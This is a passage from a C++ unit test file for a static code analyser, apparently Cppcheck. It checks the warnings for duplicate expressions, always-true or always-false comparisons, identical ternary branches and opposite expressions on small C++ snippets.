ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" static int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){\\n\"\n \" a++;\\n\"\n \" }}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:12]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" int a = 1;\\n\"\n \" while (b) {\\n\"\n \" if ( a != 1){}\\n\"\n \" a++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(bool a, bool b) {\\n\"\n \" const bool c = a;\\n\"\n \" return a && b && c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:19]: (style) Same expression 'a' found multiple times in chain of '&&' operators because 'a' and 'c' represent the same value. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n // 6906\n check(\"void f(const bool b) {\\n\"\n \" const bool b1 = !b;\\n\"\n \" if(!b && b1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:10]: (style) Same expression on both sides of '&&' because '!b' and 'b1' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 7284\n check(\"void f(void) {\\n\"\n \" if (a || !!a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Same expression on both sides of '||' because 'a' and '!!a' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n // 8205\n check(\"void f(int x) {\\n\"\n \" int Diag = 0;\\n\"\n \" switch (x) {\\n\"\n \" case 12:\\n\"\n \" if (Diag==0) {}\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:15] -> [test.cpp:5:16]: (style) The comparison 'Diag == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #9744\n check(\"void f(const std::vector& ints) {\\n\"\n \" int i = 0;\\n\"\n \" for (int p = 0; i < ints.size(); ++i) {\\n\"\n \" if (p == 0) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:18] -> [test.cpp:4:15]: (style) The comparison 'p == 0' is always true. [knownConditionTrueFalse]\\n\", errout_str());\n\n // #11820\n check(\"unsigned f(unsigned x) {\\n\"\n \" return x - !!x;\\n\"\n \"}\\n\"\n \"unsigned g(unsigned x) {\\n\"\n \" return !!x - x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression8() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" int b = a;\\n\"\n \" a = 2;\\n\"\n \" if ( b != a){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = a[i]; a[i] = 2; if ( b != a[i]){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int * a, int i) { int b = *a; *a = 2; if ( b != *a){}}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A { int f() const; };\\n\"\n \"A g();\\n\"\n \"void foo() {\\n\"\n \" for (A x = A();;) {\\n\"\n \" const int a = x.f();\\n\"\n \" x = g();\\n\"\n \" if (x.f() == a) break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int f(int i);\\n\"\n \"struct A {\\n\"\n \" enum E { B, C };\\n\"\n \" bool f(E);\\n\"\n \"};\\n\"\n \"void foo() {\\n\"\n \" A a;\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if(!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" const bool x = a.f(A::B);\\n\"\n \" const bool y = a.f(A::C);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool * const b);\\n\"\n \"void foo() {\\n\"\n \" bool x = true;\\n\"\n \" bool y = true;\\n\"\n \" f(&x);\\n\"\n \" if (!x && !y) return;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const int a = {};\\n\"\n \" if(a == 1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"volatile const int var = 42;\\n\"\n \"void f() { if(var == 42) {} }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int a = 0;\\n\"\n \" struct b c;\\n\"\n \" c.a = &a;\\n\"\n \" g(&c);\\n\"\n \" if (a == 0) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression9() {\n // #9320\n check(\"void f() {\\n\"\n \" uint16_t x = 1000;\\n\"\n \" uint8_t y = x;\\n\"\n \" if (x != y) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression10() {\n // #9485\n check(\"int f() {\\n\"\n \" const int a = 1;\\n\"\n \" const int b = a-1;\\n\"\n \" const int c = a+1;\\n\"\n \" return c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression11() {\n check(\"class Fred {\\n\"\n \"public:\\n\"\n \" double getScale() const { return m_range * m_zoom; }\\n\"\n \" void setZoom(double z) { m_zoom = z; }\\n\"\n \" void dostuff(int);\\n\"\n \"private:\\n\"\n \" double m_zoom;\\n\"\n \" double m_range;\\n\"\n \"};\\n\"\n \"\\n\"\n \"void Fred::dostuff(int x) {\\n\"\n \" if (x == 43) {\\n\"\n \" double old_scale = getScale();\\n\"\n \" setZoom(m_zoom + 1);\\n\"\n \" double scale_ratio = getScale() / old_scale;\\n\" // <- FP\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression12() { //#10026\n check(\"int f(const std::vector &buffer, const uint8_t index)\\n\"\n \"{\\n\"\n \" int var = buffer[index - 1];\\n\"\n \" return buffer[index - 1] - var;\\n\" // <<\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:25] -> [test.cpp:4:34]: (style) Same expression on both sides of '-' because 'buffer[index-1]' and 'var' represent the same value. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression13() { //#7899\n check(\"void f() {\\n\"\n \" if (sizeof(long) == sizeof(long long)) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression14() { //#9871\n check(\"int f() {\\n\"\n \" int k = 7;\\n\"\n \" int* f = &k;\\n\"\n \" int* g = &k;\\n\"\n \" return (f + 4 != g + 4);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:14] -> [test.cpp:4:14] -> [test.cpp:5:19]: (style) The comparison 'f+4 != g+4' is always false because 'f+4' and 'g+4' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n }\n\n void duplicateExpression15() { //#10650\n check(\"bool f() {\\n\"\n \" const int i = int(0);\\n\"\n \" return i == 0;\\n\"\n \"}\\n\"\n \"bool g() {\\n\"\n \" const int i = int{ 0 };\\n\"\n \" return i == 0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:22] -> [test.cpp:3:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:6:22] -> [test.cpp:7:14]: (style) The comparison 'i == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n }\n\n void duplicateExpression16() {\n check(\"void f(const std::string& a) {\\n\" //#10569\n \" if ((a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\"\n \"void g(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"42\\\") ||\\n\"\n \" (a == \\\"y\\\")) {}\\n\"\n \"}\\n\"\n \"void h(const std::string& a) {\\n\"\n \" if ((a == \\\"42\\\") ||\\n\"\n \" (a == \\\"x\\\") ||\\n\"\n \" (a == \\\"y\\\") ||\\n\"\n \" (a == \\\"42\\\")) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:1:28] -> [test.cpp:4:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:7:28] -> [test.cpp:9:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\"\n \"[test.cpp:13:28] -> [test.cpp:16:20]: (style) Same expression 'a==\\\"42\\\"' found multiple times in chain of '||' operators. [duplicateExpression]\\n\",\n errout_str());\n\n check(\"void f(const char* s) {\\n\" // #6371\n \" if (*s == '\\x0F') {\\n\"\n \" if (!s[1] || !s[2] || !s[1])\\n\"\n \" break;\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same expression '!s[1]' found multiple times in chain of '||' operators. [duplicateExpression]\\n\", errout_str());\n }\n\n void duplicateExpression17() {\n check(\"enum { E0 };\\n\" // #12036\n \"void f() {\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (E0 > 0) {}\\n\"\n \" if (E0 == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:4:12]: (style) The comparison 'E0 > 0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:5:12]: (style) The comparison 'E0 == 0' is always true. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"struct S {\\n\" // #12040, #12044\n \" static const int I = 0;\\n\"\n \" enum { E0 };\\n\"\n \" enum F { F0 };\\n\"\n \" void f() {\\n\"\n \" if (0 > I) {}\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > E0) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" }\\n\"\n \"};\\n\"\n \"void g() {\\n\"\n \" if (0 > S::I) {}\\n\"\n \" if (0 > S::E0) {}\\n\"\n \" if (0 > S::F::F0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:26] -> [test.cpp:6:15]: (style) The comparison '0 > I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:7:15]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:8:15]: (style) The comparison '0 > E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:9:15]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:2:26] -> [test.cpp:13:11]: (style) The comparison '0 > S::I' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:14:11]: (style) The comparison '0 > S::E0' is always false. [knownConditionTrueFalse]\\n\"\n \"[test.cpp:15:11]: (style) The comparison '0 > S::F::F0' is always false. [knownConditionTrueFalse]\\n\",\n errout_str());\n\n check(\"template\\n\" // #12122\n \"void f() {\\n\"\n \" static_assert(std::is_same::value || std::is_integral::value);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpression18() {\n checkP(\"#if defined(ABC)\\n\" // #13218\n \"#define MACRO1 (0x1)\\n\"\n \"#else\\n\"\n \"#define MACRO1 (0)\\n\"\n \"#endif\\n\"\n \"#if defined(XYZ)\\n\"\n \"#define MACRO2 (0x2)\\n\"\n \"#else\\n\"\n \"#define MACRO2 (0)\\n\"\n \"#endif\\n\"\n \"#define MACRO_ALL (MACRO1 | MACRO2)\\n\"\n \"void f() {\\n\"\n \" if (MACRO_ALL == 0) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionLoop() {\n check(\"void f() {\\n\"\n \" int a = 1;\\n\"\n \" while ( a != 1){}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:13] -> [test.cpp:3:15]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() { int a = 1; while ( a != 1){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() { int a = 1; for ( int i=0; i < 3 && a != 1; i++){ a++; }}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) { int a = 1; while (b) { if ( a != 1){} b++; } a++; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:17] -> [test.cpp:3:15]: (style) The comparison 'i != 0' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" for(int i = 0; i < 10;) {\\n\"\n \" if( i != 0 ) { i++; }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i = 0;\\n\"\n \" while(i < 10) {\\n\"\n \" if( i != 0 ) {}\\n\"\n \" i++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int b) {\\n\"\n \" while (b) {\\n\"\n \" int a = 1;\\n\"\n \" if ( a != 1){}\\n\"\n \" b++;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17] -> [test.cpp:4:16]: (style) The comparison 'a != 1' is always false. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct T {\\n\" // #11083\n \" std::string m;\\n\"\n \" const std::string & str() const { return m; }\\n\"\n \" T* next();\\n\"\n \"};\\n\"\n \"void f(T* t) {\\n\"\n \" const std::string& s = t->str();\\n\"\n \" while (t && t->str() == s)\\n\"\n \" t = t->next();\\n\"\n \" do {\\n\"\n \" t = t->next();\\n\"\n \" } while (t && t->str() == s);\\n\"\n \" for (; t && t->str() == s; t = t->next());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::string &out, const std::vector &list) {\\n\" // #13669\n \" for (int i = 0, size = list.size(); i < size; i++) {\\n\"\n \" out += list[i];\\n\"\n \" if (size > 0 && i < (size - 2))\\n\"\n \" out += \\\",\\\";\\n\"\n \" else if (i == (size - 1))\\n\"\n \" out += \\\".\\\";\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTernary() { // #6391\n check(\"void f() {\\n\"\n \" return A ? x : x;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"int f(bool b, int a) {\\n\"\n \" const int c = a;\\n\"\n \" return b ? a : c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19] -> [test.cpp:3:18]: (style) Same expression in both branches of ternary operator. [duplicateExpressionTernary]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" return A ? x : z;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(unsigned char c) {\\n\"\n \" x = y ? (signed char)c : (unsigned char)c;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::string stringMerge(std::string const& x, std::string const& y) {\\n\" // #7938\n \" return ((x > y) ? (y + x) : (x + y));\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #6426\n {\n const char code[] = \"void foo(bool flag) {\\n\"\n \" bar( (flag) ? ~0u : ~0ul);\\n\"\n \"}\";\n /*const*/ Settings settings = _settings;\n settings.platform.sizeof_int = 4;\n settings.platform.int_bit = 32;\n\n settings.platform.sizeof_long = 4;\n settings.platform.long_bit = 32;\n check(code, &settings);\n ASSERT_EQUALS(\"[test.cpp:2:21]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n settings.platform.sizeof_long = 8;\n settings.platform.long_bit = 64;\n check(code, &settings);\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void duplicateValueTernary() {\n check(\"void f() {\\n\"\n \" if( a ? (b ? false:false): false ) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f1(int a) {return (a == 1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f2(int a) {return (a == 1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f3(int a) {return (a == 1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f4(int a) {return (a == 1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:36]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f5(int a) {return (a == (int)1) ? (int)1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f6(int a) {return (a == (int)1) ? (int)1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:46]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f7(int a) {return (a == (int)1) ? 1 : (int)1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"int f8(int a) {return (a == (int)1) ? 1 : 1; }\");\n ASSERT_EQUALS(\"[test.cpp:1:41]: (style) Same value in both branches of ternary operator. [duplicateValueTernary]\\n\", errout_str());\n\n check(\"struct Foo {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \"};\\n\"\n \"void f() {\\n\"\n \" Foo foo;\\n\"\n \" it = true ? foo.bar.begin() : foo.baz.begin();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool b) {\\n\"\n \" std::vector bar{1,2,3};\\n\"\n \" std::vector baz{4,5,6};\\n\"\n \" std::vector v = b ? bar : baz;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool q) {\\n\" // #9570\n \" static int a = 0;\\n\"\n \" static int b = 0;\\n\"\n \" int& x = q ? a : b;\\n\"\n \" ++x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S { int a, b; };\\n\" // #10107\n \"S f(bool x, S s) {\\n\"\n \" (x) ? f.a = 42 : f.b = 42;\\n\"\n \" return f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"float f(float x) {\\n\" // # 11368\n \" return (x >= 0.0) ? 0.0 : -0.0;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionTemplate() {\n check(\"template void f() {\\n\" // #6930\n \" if (I >= 0 && I < 3) {}\\n\"\n \"}\\n\"\n \"\\n\"\n \"static auto a = f<0>();\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"template\\n\" // #7754\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"typedef long long int64_t;\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define int32_t int\"\n \"template\\n\"\n \"void f() {\\n\"\n \" if (std::is_same_v || std::is_same_v) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define F(v) (v) != 0\\n\" // #12392\n \"template\\n\"\n \"void f() {\\n\"\n \" if (F(0)) {}\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" f();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateExpressionCompareWithZero() {\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'x!=0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x != 0 && b) || (x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x!=0&&b' and 'x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (b && x != 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:18]: (style) Same expression on both sides of '||' because 'x&&b' and 'b&&x!=0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'x==0&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x == 0 && b) || (!x && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:23]: (style) Same expression on both sides of '||' because 'x==0&&b' and '!x&&b' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (b && x == 0)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same expression on both sides of '||' because '!x&&b' and 'b&&x==0' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"struct A {\\n\"\n \" int* getX() const;\\n\"\n \" bool getB() const;\\n\"\n \" void f() {\\n\"\n \" if ((getX() && getB()) || (getX() != 0 && getB())) {}\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:32]: (style) Same expression on both sides of '||' because 'getX()&&getB()' and 'getX()!=0&&getB()' represent the same value. [knownConditionTrueFalse]\\n\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((x && b) || (x == 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const int* x, bool b) {\\n\"\n \" if ((!x && b) || (x != 0 && b)) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void oppositeExpression() {\n check(\"void f(bool a) { if(a && !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '&&'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if(a != !a) {} }\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( a != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:24]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) == a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(a) != a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:27]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) == !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { if( !(!a) != !(a) ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:28]: (style) Opposite expression on both sides of '!='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f1(bool a) {\\n\"\n \" const bool b = a;\\n\"\n \" if( a == !(b) ) {}\\n\"\n \" if( b == !(a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f2(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\"\n \"[test.cpp:2:20] -> [test.cpp:4:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(bool a) { a = !a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { if( a < -a ) {}}\");\n ASSERT_EQUALS(\"[test.cpp:1:23]: (style) Opposite expression on both sides of '<'. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(int a) { a -= -a; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(int a) { a = a / (-a); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(int i){ return !((i - 1) & i); }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(unsigned i){ return (x > 0) && (x & (x-1)) == 0; }\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void A::f(bool a, bool c)\\n\"\n \"{\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(bool c) {\\n\"\n \" const bool b = a;\\n\"\n \" if(c) { a = false; }\\n\"\n \" if(b && !a) { }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" bool x = a;\\n\"\n \" dostuff();\\n\"\n \" if (x && a) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" const bool b = g();\\n\"\n \" if (!b && g()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( b == !(a[42]) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = a[42];\\n\"\n \" if( a[42] == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:21] -> [test.cpp:3:15]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( b == !(*a) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:11]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(const bool *a) {\\n\"\n \" const bool b = *a;\\n\"\n \" if( *a == !(b) ) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:20] -> [test.cpp:3:12]: (style) Opposite expression on both sides of '=='. [oppositeExpression]\\n\", errout_str());\n\n check(\"void f(uint16_t u) {\\n\" // #9342\n \" if (u != (u & -u))\\n\"\n \" return false;\\n\"\n \" if (u != (-u & u))\\n\"\n \" return false;\\n\"\n \" return true;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void duplicateVarExpression() {\n check(\"int f() __attribute__((pure));\\n\"\n \"int g() __attribute__((pure));\\n\"\n \"void test() {\\n\"\n \" int i = f();\\n\"\n \" int j 